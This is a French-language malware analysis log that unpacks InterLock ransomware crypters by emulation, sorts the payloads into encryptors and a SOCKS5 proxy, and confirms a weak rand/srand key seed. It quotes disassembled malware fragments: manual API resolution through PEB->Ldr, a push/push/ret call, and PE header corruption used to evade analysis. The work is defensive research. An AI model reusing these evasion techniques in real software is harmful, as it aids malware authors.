Diagnostic sur `5a0d393d...` : décompilation manuelle autour du point de blocage précédent (`mov rax, [rax+0x18]` sur `Ldr`, jamais initialisé) montre du **code non obfusqué**, contrairement au reste du crypter :

```asm
mov rcx, [0x30e5e10b1]       ; rcx = module base (deja resolu plus haut)
cmp word [rcx], 0x5a4d       ; verifie signature 'MZ'
jne <suivant>                 ; si pas un PE valide, passe au module suivant
movsxd rdx, dword [rcx+0x3c] ; e_lfanew
add rdx, rcx
cmp dword [rdx], 0x4550      ; verifie signature 'PE'
```
puis, plus loin dans la même fonction, construction du nom `"VirtualProtect"` directement sur la pile (`mov dword [rbp-0x20], 0x74726956` = 'Virt', etc.), `call` vers une routine de résolution par nom, puis :
```asm
push rdi        ; adresse de retour (dans le module courant)
push rax        ; adresse resolue de VirtualProtect
ret              ; "appelle" VirtualProtect en evitant un CALL direct visible
```

Ça confirme une résolution d'API manuelle façon shellcode (marche `PEB->Ldr`, vérifie chaque module par signature MZ/PE, cherche un nom d'export, appelle via `push`/`push`/`ret`). Correctifs apportés à `install_teb()` (`tools/unpack_interlock_x64.py`) :

1. `PEB+0x18` (Ldr) pointe désormais vers une vraie `PEB_LDR_DATA` factice (avant : jamais initialisé, donc 0).
2. Deux `LDR_DATA_TABLE_ENTRY` factices (`ntdll.dll`, `kernel32.dll`), chaînés en liste circulaire sur les 3 listes standard (`InLoadOrder`/`InMemoryOrder`/`InInitializationOrder`).
3. **Chaque module factice reçoit une vraie table d'export minimale** (nouvelle fonction `build_fake_export_module()`) : DOS header + NT header (PE32+) + `IMAGE_EXPORT_DIRECTORY` + tableaux `AddressOfFunctions`/`AddressOfNames`/`AddressOfNameOrdinals`, avec ~25 noms d'API courantes (`COMMON_KERNEL32_EXPORTS` : `VirtualProtect`, `VirtualAlloc`, `GetProcAddress`, `LoadLibraryA`, etc.), chacune pointant vers un stub dédié dans `STUB_BASE`.
4. **Piège rencontré** : les adresses `DllBase` factices choisies au départ (`0x7FFE00000000`/`0x7FFE00010000`, façon vraie ASLR) rendaient la RVA (`stub_addr - dllbase`) négative en 32 bits (les stubs sont dans `STUB_BASE`, une adresse bien plus basse). Un vrai chargeur PE calcule `adresse = dllbase + RVA`, donc il faut que `dllbase` soit **en dessous** de `STUB_BASE`. Adresses corrigées à `0x02400000`/`0x02410000` (juste sous `STUB_BASE = 0x02500000`).

Test :
```bash
source ~/.venvs/ctf-reverse/bin/activate
SHA=5a0d393de439aebc236a87f3ff18c89c5634f8b7b9331c54986b113b75e8df7f
timeout 300 python3 tools/unpack_interlock_x64.py binaries/${SHA}.exe /tmp/payload_recent4.bin
```
Résultat : `dynamic!VirtualProtect` effectivement appelé (1 fois), `dynamic!GetProcAddress` (153 fois), 3 allocations dont `alloc1` contenant directement un PE décompressé (`4D 5A`) :
```bash
rabin2 -i /tmp/payload_recent4.bin.alloc1.bin | grep -iE "rand|clock"   # rand, srand (msvcrt.dll)
```
**`rand`/`srand` confirmés.**

Même test sur `396eb0e8...` (2026-01-31, le second build bloqué) : succès identique, `rand`/`srand` confirmés sur le payload extrait.

**Bilan à ce point** : les deux builds les plus récents du corpus (janvier et février 2026) se déballent, et leur payload importe `rand`/`srand`. Sur 14 PE substantiels, 8 sont déballés (1 x86 + 7 x64). Importer `rand`/`srand` ne suffit pas à dire qu'un payload est l'encrypteur : la vérification vient plus bas, et trois de ces payloads sont un proxy SOCKS5.

## Les deux builds sans table d'imports standard, creusés en profondeur

Réécriture du chargement PE du harnais pour ne plus dépendre de `pefile.DIRECTORY_ENTRY_IMPORT`/`pe.sections` (potentiellement invalidés par une corruption d'en-tête) : nouvelles fonctions `parse_sections_raw()` et `parse_imports_raw()` dans `tools/unpack_interlock_x64.py`, qui relisent directement les octets bruts du fichier (table de sections à partir de `e_lfanew`, sans jamais lire `FILE_HEADER.NumberOfSections`) :

```python
def parse_sections_raw(raw: bytes):
    e_lfanew = struct.unpack_from("<I", raw, 0x3C)[0]
    size_opt = struct.unpack_from("<H", raw, e_lfanew + 4 + 16)[0]
    sectbl = e_lfanew + 4 + 20 + size_opt
    # ... lit chaque entree de 40 octets jusqu'a un nom illisible (fin de la vraie table)
```

### `dae299469...` : fichier tronqué

```bash
python3 -c "
import struct
raw = open('binaries/dae299469....exe','rb').read()
# ... (voir parse_sections_raw ci-dessus)
"
```
Résultat : 19 sections réelles reconstruites (contre 1 seule vue par `pefile`, `NumberOfSections` déclaré = 1), dont `.idata` à la RVA exacte de la Data Directory Import. Mais **le fichier ne fait que 200 704 octets, exactement la fin de la section `.text` déclarée** : toutes les autres sections (`.data`, `.rdata`, `.idata`, etc.) pointent vers des données qui n'existent tout simplement pas dans ce fichier. `strings -a -n 8` ne trouve aucune chaîne significative (pas de nom de DLL, pas de `rand`/`clock`). Fichier physiquement incomplet, pas exploitable tel quel.

### `85a18f6e...` : fichier complet, mais métadonnées PE corrompues à plusieurs endroits

Ce fichier fait bien 299 520 octets et toutes ses 10 sections (déclarées ET réelles, `NumberOfSections` correct cette fois) tiennent dedans. Chaînes réelles trouvées (`strings -a -n 8`) : `AES Encrypt`, `AES Decrypt`, `chc_hash`, `rijndael`, chemins source LibTomCrypt (`src/ciphers/aes/aes.c`, `src/pk/rsa/rsa_make_key.c`, `src/math/rand_prime.c`...), `KERNEL32.dll`, `msvcrt.dll` : un vrai build, pas un artefact vide.

**Trois métadonnées corrompues trouvées indépendamment** :

1. **`AddressOfEntryPoint` pointe vers du vide.** Désassemblage (`pe.get_data()` + capstone) :
   ```
   0x1400014b0: add byte ptr [rax], al   ; = octets 00 00, repete en boucle
   ```
   Aucun vrai code à cette adresse.

2. **La Data Directory TLS pointe dans une chaîne de caractères**, pas une vraie structure :
   ```bash
   python3 -c "
   import pefile, struct
   pe = pefile.PE('binaries/85a18f6e....exe', fast_load=True)
   pe.parse_data_directories()
   tls_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[9]
   data = pe.get_data(tls_dir.VirtualAddress, 0x28)
   print(struct.unpack('<QQQQII', data))
   "
   ```
   Résultat : `SizeOfZeroFill`/`Characteristics` décodent en ASCII lisible (`src/`, `pk/a`...) : cette RVA tombe dans une chaîne LibTomCrypt, pas dans une `IMAGE_TLS_DIRECTORY64`. La section `.tls` existe pourtant (aurait pu contenir de vrais callbacks exécutés avant l'entry point), mais la directory qui devrait y mener est corrompue.

3. **La Data Directory Import pointe bien vers `.idata`** (RVA exacte), mais le contenu ne correspond à aucun `IMAGE_IMPORT_DESCRIPTOR` valide. Vérification définitive : recherche de la RVA de la chaîne `"KERNEL32.dll"` (présente en clair dans `.rdata`) comme référence (DWORD little-endian) n'importe où dans tout le fichier :
   ```bash
   python3 -c "
   import struct
   raw = open('binaries/85a18f6e....exe','rb').read()
   name_rva = 0x39538  # calcule depuis l'offset brut de la chaine + conversion section
   print(raw.find(struct.pack('<I', name_rva)))  # -> -1, aucune occurrence
   "
   ```
   **Aucune occurrence trouvée** : aucun mécanisme d'import statique standard ne référence réellement cette chaîne. Résolution d'API probablement entièrement manuelle dès le début de l'exécution (même famille que le parcours `PEB->Ldr` déjà percé sur les builds 2026), mais impossible de localiser le vrai point d'entrée par la seule lecture des métadonnées PE.

**Conclusion : aucun des deux cas n'évoque une correction cryptographique.** `dae299469` est un artefact incomplet ; `85a18f6e` est un vrai build avec une corruption d'en-tête PE à plusieurs niveaux (bien au-delà d'un simple `NumberOfSections` menteur), pour empêcher les outils statiques de trouver le vrai point d'entrée.

## Trois des payloads déballés sont un outil proxy SOCKS5, pas l'encrypteur

Vérification de ce que sont vraiment les 3 payloads catalogués DLL (`bd504862...` depuis `39539766...`, `e2538fe1...` depuis `5a0d393d...`, `45b77f93...` depuis `396eb0e8...`) : `rand`/`srand` confirmés dessus, mais jamais les chaînes LibTomCrypt.

```bash
cd tools/unpacked_x64
for f in *.exe; do
  echo "=== $f ==="
  rabin2 -E "$f" | head -5   # exports
done
```

Résultat : **les trois exportent des fonctions de `socks.dll`** (`start`, `rundll`, `Test`, `GetInstalledPackageInfo`, `FreeInstalledPackageInfo`). Vérification par chaînes :

```bash
strings -a -n 6 bd504862....exe | grep -iE "socks|proxy|socket|connect|tunnel|WSA"
```
Résultat : `Socks5Thread`, `TcpTunnel`, `Tunnel`, `"connected_to": "`, `closesocket`, `socket`, `connect`, `WSAStartup`, `__WSAFDIsSet` : **un outil de tunneling SOCKS5**, sans rapport avec le chiffrement. Le `rand`/`srand` trouvé est un usage CRT ordinaire (aléa réseau), pas la faille de clé de fichier du ransomware.

**Vérification croisée sur les payloads déjà comptés comme "encrypteur confirmé"** pour écarter la même confusion :

```bash
for f in 16503571....exe 9b31237d....exe a26f0a2da....bin.alloc1.bin \
         0fff8fb0....bin.alloc1.bin b85586f9....bin.alloc1.bin ; do
  file "$f"
  rabin2 -E "$f" | grep -i socks
  strings -a -n 6 "$f" | grep -iE "chc_hash|AES Encrypt"
done
```
Résultat : tous les 5 sont des exécutables **GUI sans aucun export**, avec `chc_hash`/`AES Encrypt` confirmés : ce sont bien de vrais encrypteurs. Seuls les 3 payloads DLL sont le proxy.

**Conséquence** : le vrai encrypteur le plus récent confirmé est **`0fff8fb0...` (2025-03-06)**, pas un build de 2026. Décompte : **5 builds confirmés vulnérables** (1 x86 `4a97599ff...` + 4 x64 : `a26f0a2da...` oct. 2024, `b85586f9...` dec. 2024, `33dc991e...` fev. 2025, `0fff8fb0...` mars 2025), aucune preuve de correction sur cette plage, mais **aucune confirmation non plus au-delà de mars 2025** : les échantillons les plus récents disponibles se sont révélés être un outil différent.

## Tri des 4 builds indéterminés par type probable (crypter lui-même, sans déballage)

Objectif : savoir, avant d'investir plus de temps, si un build emballe l'encrypteur ou le proxy. Comparaison du type PE déclaré et du nombre de sections du crypter externe (pas le payload), contre les 4 encrypteurs et 3 proxy déjà confirmés :

```bash
cd binaries
for SHA in a26f0a2da... b85586f9... 33dc991e... 0fff8fb0... \
           39539766... 396eb0e8... 5a0d393d... \
           45a323e0... 5c5598f7... 8251186b... f0262212... ; do
  file ${SHA}.exe
done
```

Résultat : les 4 encrypteurs confirmés sont tous **GUI, 6 sections** ; les 3 proxy confirmés sont tous **DLL, 7 sections**. Sur les 4 indéterminés : `45a323e0...` et `8251186b...` sont **DLL, 7 sections** (profil proxy) ; `5c5598f7...` et `f0262212...` sont **GUI, 5 sections** (profil encrypteur, juste sans `.reloc`).

Vérification plus fine par table de sections (`rabin2 -S`) : `5c5598f7...`/`f0262212...` ont exactement les mêmes noms et ordre de sections que l'encrypteur confirmé (`.text`/`.data`/`.rdata`/`.idata`/`.rsrc`), tailles comparables, juste l'absence de `.reloc` (probablement un réglage de build différent, pas un programme différent) :

```bash
rabin2 -S a26f0a2da....exe   # encrypteur confirme : 6 sections avec .reloc
rabin2 -S 5c5598f7....exe    # 5 sections, memes noms sauf .reloc, meme ordre
rabin2 -S f02622129....exe   # idem
```

**Conclusion : `45a323e0...`/`8251186b...` = très probablement le proxy SOCKS (à ne pas re-deballer pour cette question) ; `5c5598f7...`/`f0262212...` = candidats sérieux pour être l'encrypteur (à prioriser si le déballage complet est repris).**

## Relance de `5c5598f7...`/`f0262212...` : toujours indéterminé, diagnostic statique approfondi

```bash
python3 tools/unpack_interlock_x64.py binaries/5c5598f7....exe /tmp/interlock_priority2/5c5598f7.bin
python3 tools/unpack_interlock_x64.py binaries/f02622129....exe /tmp/interlock_priority2/f0262212.bin
```
Même budget de 3 milliards d'instructions (déjà celui du diagnostic précédent, pas augmenté ici) : les deux retombent exactement sur le même mur (budget épuisé, 1 seul `malloc`, 8 octets non nuls sur le buffer). Sans information nouvelle par rapport au premier passage sur ces mêmes builds.

Diagnostic statique par histogramme d'adresses sur `f0262212...`, cette fois avec la vraie configuration des stubs d'imports (le tout premier essai de ce type, sur `45a323e0...`, n'avait pas ce problème mais celui-ci en avait besoin pour ne pas planter ailleurs pour une mauvaise raison) :

```python
# reprend install_teb() + la configuration complete des stubs d'imports de main(),
# avec un hook supplementaire Counter(address) pour l'histogramme, count=20_000_000
```

Deux boucles bornées trouvées à des adresses différentes de celles de `45a323e0...` :

```asm
; boucle 1, 27 iterations
0x14003a366: mov [rbp-0x131], rbx
...
0x14003a379: mov r14, 0x1a        ; 26
0x14003a380: cmp [rsp], r14
0x14003a384: jle 0x14003a366

; boucle 2, 41 iterations, suivie d'une comparaison a une constante .rdata
0x140062a72: sub rdx, [rbp-0x10c]
...
0x140062ae2: cmp qword [rsp], 0x28   ; 40
0x140062ae7: jle 0x140062a72
0x140062aed: cmp r8, qword [0x1400d48e7]   ; constante fixe en .rdata
0x140062af4: jne 0x140062b0d
```

Aucune des deux n'est une instruction figée (même conclusion que sur `45a323e0...`) : de l'aplatissement de flux de contrôle avec plusieurs boucles bornées imbriquées, chacune suivie d'une comparaison à une constante qui pilote la suite. Retrouver la vraie condition de sortie de la structure englobante demanderait de tracer plusieurs couches similaires (plusieurs heures de reversing manuel réaliste). **Laissé en l'état** : ni confirme ni infirme que `5c5598f7...`/`f0262212...` sont l'encrypteur.

## CLI résolue en entier (`-f`/`-d`/`-del`/`-s`/`-r`), et padding RSA en PKCS#1 v1.5

```bash
source ~/.venvs/ctf-reverse/bin/activate
python3 tools/decompile_seed_chain.py tools/unpacked/9b31237d....exe \
  decompile_430910_410020.txt 0x00430910 0x00410020 0x00447080
python3 tools/decompile_seed_chain.py tools/unpacked/9b31237d....exe \
  decompile_402ec0_401aa0.txt 0x00402ec0 0x00401aa0
```

`FUN_00401aa0` (parseur argc/argv, appelé juste après le seed du PRNG dans `FUN_00430910`) :

```c
if ((*_Str1 == '-') && (_Str1[1] == 'f') && (_Str1[2] == '\0') || strcmp(_Str1,"--file") == 0) {
    strcpy(&DAT_00447080, argv[i+1]);   // fichier cible unique
}
// "-d"/"--directory" -> DAT_00447280 (dossier cible)
// "-del"/"--delete" -> DAT_00447480 = 1
// "-s"/"--system" -> DAT_00447061 = 1, retour immediat
// "-r"/"--release-files" -> DAT_00447060 = 1
```

**`DAT_00447080` résolu** : rempli par l'argument `-f`/`--file`, pas un fichier caché spécial. Le test `DAT_00447080 == '\0'` dans `FUN_00430910` est l'idiome "chaîne vide" ; si non vide, appel direct `thunk_FUN_00403210(&DAT_00447080)` sur ce fichier précis.

`FUN_00402ec0` (le seul appelant de `FUN_00410020`, enveloppe le buffer clé+IV de 48 octets) :

```c
iVar1 = FUN_00410020(param_1,param_2,param_3,param_4,(uint *)0x0,0,uVar4,uVar3,uVar2,1,iVar1);
//                                                                                    ^-- param_10 = 1
```

`FUN_00410020` dispatch selon `param_10` (seules les valeurs 1 et 2 valides, `1 < param_10-1U` sinon erreur) : `param_10==2` prend la branche avec un hash-check supplémentaire (`FUN_00412ef0`), sinon `FUN_004135e0`. Standard LibTomCrypt (`tomcrypt_pk.h`) : `LTC_PKCS_1_V1_5 = 1`, `LTC_PKCS_1_OAEP = 2`. **La valeur passée ici est 1 : PKCS#1 v1.5, pas OAEP.**

Le nom `rsa_encrypt_key` fait penser à OAEP, mais c'est la valeur réelle du paramètre de padding qui compte : PKCS#1 v1.5. Sans conséquence sur la faille de seed faible elle-même.

## AES-256-CBC : validation bit-exacte réussie

Script [`tools/validate_aes_cbc.py`](tools/validate_aes_cbc.py), même méthode que les harnais RSA-OAEP d'Akira / x64 d'InterLock : appeler directement les vraies fonctions avec des arguments contrôles plutôt que comprendre une structure à la main.

```bash
/home/ozer/.venvs/ctf-reverse/bin/python3 tools/validate_aes_cbc.py
```

Séquence : `register_cipher("aes")` (`FUN_0040cb10`) -> `find_cipher("aes")` (`FUN_0040c7b0`) -> `cbc_start`/`cbc_setiv`/`cbc_encrypt` (`FUN_0040d720`/`0040d6a0`/`0040d500`), vecteur de test AES-256-CBC généré via `pycryptodome`. IAT patchée avec de vraies sémantiques (pas des no-op) pour `strcmp`/`memcmp`/`malloc`/`memcpy`/`memset`, cdecl x86 (args sur la pile, stub = `RET` simple).

**Piège d'indirection sur le descripteur AES.** Le script déréférençait `PTR_DAT_00437900` (lisait la valeur qu'il contient, `0x4378e0`) et passait CETTE valeur à `register_cipher`. Décompilation des deux vrais appelants de `register_cipher` dans le binaire :

```bash
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  tools/unpacked/9b31237d....exe aes_caller_decomp.txt 0x00402a80 0x00401e10
```

`FUN_00401e10` (le flux complet réel de déchiffrement AES-CBC du malware : parsing hex de clé+IV depuis une chaîne, `register_cipher` -> `find_cipher` -> `cbc_start` -> `cbc_setiv` -> déchiffrement d'un buffer global) fait `FUN_0040cb10(&PTR_DAT_00437900)` : **l'argument réel est l'adresse de la variable elle-même (0x437900), pas sa valeur déréférencée (0x4378e0)** -- une indirection en trop dans le script original.

En relisant la structure à partir de la bonne adresse (0x437900, 26 dwords) :
```
+0x00: name    = 0x4378e0
+0x04: ID      = 6
+0x08: min_key_length = 0x10 (16)
+0x0c: max_key_length = 0x20 (32)
+0x10: block_length   = 0x10 (16)
+0x14: default_rounds = 0xa (10)
+0x18: setup       = 0x40a220
+0x1c: ecb_encrypt = 0x408f30
+0x20: ecb_decrypt = 0x409310
+0x24: test        = 0x40a2d0
+0x28: done        = 0x408f20
+0x2c: keysize     = 0x409790
+0x30..+0x64: 0 (accelerateurs materiels non utilises)
```

Descripteur AES textbook de LibTomCrypt, déjà entièrement présent et valide dans le fichier statique. Recherche de références en écriture vers cette adresse (aucune trouvée) : confirme qu'aucune initialisation CRT n'est nécessaire, c'est un POD constant résolu au link-time.

**Avec la bonne adresse (`aes_desc_addr = AES_DESC_PTR_LOC` au lieu d'une lecture déréférencée), la chaîne complète tourne et produit un `MATCH` bit-exact :**

```
1) register_cipher(&aes_desc)   -> 0
2) find_cipher("aes")           -> index = 0
3) cbc_start(idx, iv, key, 32, 0, &cbc_ctx)  -> 0
4) cbc_setiv(iv, 16, &cbc_ctx)               -> 0
5) cbc_encrypt(pt, ct, 16, &cbc_ctx)         -> 0

ciphertext obtenu : 9f3b7504926f8bd36e3118e903a4cd4a
ciphertext attendu: 9f3b7504926f8bd36e3118e903a4cd4a
MATCH
```

**Conclusion** : AES-256-CBC du crypter x86 confirmé bit-exact par exécution du vrai code machine (registre de chiffreur LibTomCrypt réel, contexte CBC réel), pas seulement par signature d'appel API.

## Relance des 4 builds indéterminés avec un budget d'instructions bien plus grand

```bash
# budget standard (3 milliards, deja celui du script) pour les deux profils DLL/7 sections
python3 tools/unpack_interlock_x64.py binaries/45a323e0....exe /tmp/interlock_priority2/45a323e0.bin
python3 tools/unpack_interlock_x64.py binaries/8251186b....exe /tmp/interlock_priority2/8251186b.bin

# budget releve a 10 milliards (sed sur INSTRUCTION_BUDGET) pour les deux profils GUI/5 sections
sed -i 's/INSTRUCTION_BUDGET = 3_000_000_000/INSTRUCTION_BUDGET = 10_000_000_000/' tools/unpack_interlock_x64.py
python3 tools/unpack_interlock_x64.py binaries/5c5598f7....exe /tmp/interlock_priority2/5c5598f7_big.bin
python3 tools/unpack_interlock_x64.py binaries/f02622129....exe /tmp/interlock_priority2/f0262212_big.bin
```

Résultats :
- `45a323e0...` et `8251186b...` : même mur exact que les diagnostics précédents (budget épuisé, 1 seul `malloc`, 8 octets non nuls). Le profil DLL/7 sections (supposé proxy SOCKS) n'a donc pas empêché ce même blocage : l'hypothèse "c'est juste le proxy qui se déballe différemment" ne tient pas.
- `5c5598f7...` : même mur, cette fois avec 10 milliards d'instructions (~34 minutes de calcul, plus de 3x le budget standard) : toujours 1 seul `malloc`, 8 octets non nuls. Le budget seul ne suffit pas à débloquer ce cas.
- `f0262212...` : **seul à progresser réellement** avec le budget à 10 milliards :
  ```
  3 appels d'import interceptés.
    msvcrt.dll!malloc : 2
    dynamic!VirtualProtect : 1
  2 allocation(s) malloc:
    alloc0 @ 0x301000 taille=22754 octets_non_nuls=8777 sha256=... (partiellement rempli, signature zlib 78 9c)
    alloc1 @ 0x3068f0 taille=87039 octets_non_nuls=0 (encore vide)
  ```
  Décompression de `alloc0` malgré son remplissage partiel (39%, 8777/22754 octets) :
  ```python
  import zlib
  data = open('/tmp/interlock_priority2/f0262212_big.bin.alloc0.bin','rb').read()
  payload = zlib.decompressobj(15).decompress(data)   # -> 21504 octets, en-tete MZ valide
  ```
  Produit 21 504 octets valides (le flux zlib place le header PE en tout début, avant la coupure), mais ce fragment ne contient aucune chaîne identifiante exploitable (`rand`/`clock`/`socks`/`chc_hash` absents, probablement plus loin dans le fichier en `.rdata`, jamais atteint).

**Conclusion** : comportement hétérogène des 4 sous budget accru, sans corrélation nette avec le profil GUI/DLL supposé. `f0262212...` est le seul à montrer un vrai signe de progression (pas juste "pas assez de budget" comme les 3 autres), mais reste non concluant.

## Reversing manuel de la fonction englobante sur `f0262212...` : ampleur du problème quantifiée

Remontée du graphe d'appels réel depuis `entry` (parcours en largeur via Ghidra/PyGhidra, profondeur max 8) :

```python
# parcourt toutes les instructions CALL de chaque fonction visitee, verifie
# si la cible tombe dans la plage IAT connue (0x140147000-0x140148000),
# sinon continue le parcours dans la fonction appelee si Ghidra la reconnait
```

Résultat : 24 fonctions visitées, **0 appel direct vers la plage IAT trouvé**. Le vrai travail (malloc/VirtualProtect/etc, déjà observés via les stubs du harnais) passe entièrement par des appels indirects résolus dynamiquement, la même famille de mécanisme que celui déjà percé pour `PEB->Ldr` (push cible ; push retour ; ret), mais noyés dans du code que Ghidra ne segmente pas en fonctions.

Localisation des deux boucles bornées déjà trouvées (voir diagnostic précédent) par rapport aux limites de fonctions connues de Ghidra :

- **Première boucle (27 itérations, `0x14003a366`)** : tombe dans `FUN_14003a1be` (1294 octets), une fonction bien reconnue, **appelée directement depuis `entry`**. Cette fonction appelle à son tour une autre fonction reconnue, `FUN_14003a6cc` (1439 octets), à l'intérieur d'une boucle de 29 itérations (`0x1d`).
- **Seconde boucle (41 itérations, `0x140062a72`)** : tombe dans une **zone NON reconnue par Ghidra de 0x8f206 octets (~586 Ko)**, entre la fin de la dernière fonction connue avant elle (`FUN_14003ac6b`, se termine vers `0x14003b15a`) et la prochaine fonction reconnue (`tls_callback_1`, `0x1400ca360`). La section `.text` de ce binaire fait environ 0xcb000 octets (~812 Ko) : cette zone non reconnue en représente donc la quasi-totalité.

```python
# calcul de la taille de la zone non reconnue :
last_before = 0x14003ac6b + taille(FUN_14003ac6b)  # ~0x14003b15a
first_after = 0x1400ca360                          # tls_callback_1
gap = first_after - last_before                    # 0x8f206 = ~586 Ko
```

**Conclusion** : ce n'est pas "une fonction englobante à tracer", c'est un problème de désobfuscation à l'échelle de la quasi-totalité du binaire (aplatissement de flux de contrôle + données dissimulées dans de fausses constantes de type chaîne, même technique que le crypter x86 mais bien plus étendue). Retrouver la vraie condition de sortie demanderait de reconstruire manuellement les limites de fonctions sur ~586 Ko de code obfusqué, un projet de désobfuscation à part entière, pas une continuation de quelques heures. Note complémentaire : même un succès complet ici n'aurait rien changé à la fenêtre confirmée (`5c5598f7...` décembre 2024, `f0262212...` janvier 2025, déjà à l'intérieur d'octobre 2024-mars 2025 couverte par les 4 autres builds), ce qui a motivé la recherche d'un signal moins coûteux plutôt que d'insister sur le déballage complet.

## Signature du point d'entrée (RVA + octets) : signal rapide et net, sans déballage complet

Plutôt que de continuer le reversing manuel ou d'augmenter encore le budget d'instructions, comparaison directe de `OPTIONAL_HEADER.AddressOfEntryPoint` et des octets au point d'entrée entre tous les échantillons déjà catégorisés avec certitude (4 encrypteurs, 3 proxy confirmés) :

```bash
python3 -c "
import pefile
for fname in [...]:  # les 4 encrypteurs, 3 proxy, 4 indetermines
    pe = pefile.PE(fname, fast_load=True)
    entry_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    data = pe.get_data(entry_rva, 32)
    print(fname, hex(entry_rva), data[:16].hex())
"
```

Résultat, sans aucune exception sur les 7 échantillons déjà catégorisés :

- **4 encrypteurs confirmés** : `AddressOfEntryPoint = 0x1000` (tout début de `.text`) pour les 4, mêmes octets `48 81 3d ... 0f 85 ...` (`cmp qword [rip+X], imm32` / `jne`, garde-fou suivi du vrai prologue `push`/`mov rbp,rsp`).
- **3 proxy confirmés** : `AddressOfEntryPoint` décale loin dans `.text` (`0x358ee`, `0x81789`, `0x5de0e`), style trampoline `mov`/`cmp`/`je`/`jmp [reg]` (le style exact évolue entre générations : les 2 proxy les plus récents, déjà connus pour nécessiter le contournement `PEB->Ldr`, ont une variante avec un `movabs` supplémentaire chargeant une constante dans `r10` avant le `mov`/`cmp`).

Appliqué aux 4 indéterminés :

| Build | `AddressOfEntryPoint` | Verdict |
|---|---|---|
| `45a323e0...` | `0x36ddd` (décalé, style trampoline proxy) | Profil proxy |
| `8251186b...` | `0x37a3c` (décalé, style trampoline proxy) | Profil proxy |
| `5c5598f7...` | `0x1000`, mêmes octets que les encrypteurs | Profil encrypteur |
| `f0262212...` | `0x1000`, mêmes octets que les encrypteurs | Profil encrypteur |

Vérification de cohérence sur les 2 builds à métadonnées corrompues (`85a18f6e...`/`dae299469...`) : `AddressOfEntryPoint = 0x14b0` pour les deux, ne correspond à aucun des deux profils propres (ni `0x1000` exact, ni un grand décalage type trampoline), cohérent avec leur cas déjà documenté séparément (métadonnées PE corrompues, point d'entrée réel non localisé).

**Portée** : ce signal sépare bien les 7 échantillons déjà catégorisés, mais il décrit le crypter, pas ce qu'il emballe. Pour `5c5598f7...`/`f0262212...`, l'extraction directe du payload (plus bas, section « Extraction directe du payload embarqué ») montre deux instances du proxy malgré un point d'entrée à `0x1000`. Seul le contenu du payload extrait (chaînes LibTomCrypt ou table d'imports réseau) tranche.

Vérification complémentaire sur `85a18f6e...` : recherche de la signature de hachage ROR13 (`ror edx/eax, 0xd`, très courante dans les chargeurs shellcode pour la résolution manuelle d'API) dans tout le fichier : aucune occurrence. Cinquième vérification négative sur ce build (les 4 précédentes : RVA 0x1000 vide, signature de trampoline absente, gs:[0x60]/gs:[0x30] = code CRT standard, aucun pointeur brut valide dans .CRT/.tls).

## Relance à 40 milliards d'instructions : 5c5598f7 franchit enfin le mur

Le script accepte désormais un budget surchargeable par variable d'environnement (`INSTRUCTION_BUDGET`, voir `tools/unpack_interlock_x64.py`), plutôt que de patcher la constante à chaque fois.

```bash
INSTRUCTION_BUDGET=40000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/5c5598f7....exe tools/unpacked_x64/5c5598f7_budget40G_unpacked.exe
```

**Contrairement à tous les essais précédents (60 s / 3G / 10G, tous identiques : 1 seul `malloc`, 8 octets non nuls), l'émulation se termine normalement** (`RET_SENTINEL` atteint, ~24,3 milliards d'instructions consommées) :

```
Emulation terminee normalement (RET_SENTINEL atteint)
Derniere adresse executee : 0x140003710, 24280996055 instructions executees au total

3 allocation(s) malloc:
  alloc0 @ 0x301000 taille=21946 octets_non_nuls=8144 ... (signature zlib 78 9c)
  alloc1 @ 0x3065c0 taille=88063 octets_non_nuls=13967 ... (premiers octets 4d 5a 90 00 ...)
  alloc2 @ 0x31bdc0 taille=7152 octets_non_nuls=2450 ...
```

Imports interceptés : `rand` (16), `srand` (1), `_time64` (1), le même trio déjà vu sur les 5 encrypteurs confirmés.

Vérification de la décompression :

```python
import zlib
alloc0 = open("tools/unpacked_x64/5c5598f7_budget40G_unpacked.exe.alloc0.bin","rb").read()
alloc1 = open("tools/unpacked_x64/5c5598f7_budget40G_unpacked.exe.alloc1.bin","rb").read()
payload = zlib.decompressobj(15).decompress(alloc0)   # -> 22528 octets, entete MZ valide
payload == alloc1[:len(payload)]                       # -> True, octet pour octet
```

`alloc1` est allouée à la taille complète attendue du payload interne (88 063 octets) mais seulement les 22 528 premiers octets sont réellement écrits (le reste à zéro) : la décompression correspond exactement à ce que `alloc0` produit, pas plus. Chaînes présentes dans la portion écrite : `.text`, `.rdata`, `srand`. Chaînes absentes (car hors de la portion écrite) : `AES`, `clock`, `chc_hash`, `rijndael`.

**Conclusion** : confirmation par exécution réelle de la même architecture que les 5 encrypteurs déjà confirmés (import du trio `rand`/`srand`/`_time64`, chaîne de déballage zlib à deux étages identique), mais déballage encore partiel (~26% du payload interne attendu) : pas encore les chaînes LibTomCrypt qui trancheraient définitivement. Ça ne dit pas encore si ce payload est l'encrypteur ou le proxy.

## Même relance sur f0262212 : même résultat

```bash
INSTRUCTION_BUDGET=40000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/f02622129e7774b7673e2a9f62bb4a208d4a142b5d925532c7920481549bd07b.exe \
  tools/unpacked_x64/f0262212_budget40G_unpacked.exe
```

Même franchissement du mur, mêmes tailles d'allocation quasi identiques (alloc0 22754/21946, alloc1 87039/88063, alloc2 7152/7152), mêmes imports `rand`/`srand`/`_time64`/`VirtualProtect`. Décompression de `alloc0` (22754 octets zlib) vérifiée : produit 21504 octets, correspondant exactement, octet pour octet, au préfixe de `alloc1` (87039 octets alloués, ~25% réellement écrits). Chaînes présentes dans la portion écrite : `.text`, `.rdata`, `srand` (deux occurrences). Même statut que `5c5598f7...` : confirmation comportementale partielle, pas complète.

**Les deux derniers builds indéterminés du corpus x64 se comportent donc de la même façon. Leur nature (encrypteur ou proxy) reste à trancher par le contenu du payload.**

## Pourquoi le déballage plafonne à ~25% : trouvé par décompilation, pas par manque de budget

```bash
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  binaries/5c5598f7....exe 5c5598f7_lastaddr.txt 0x140003710
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  binaries/5c5598f7....exe 5c5598f7_caller.txt 0x140002e42
```

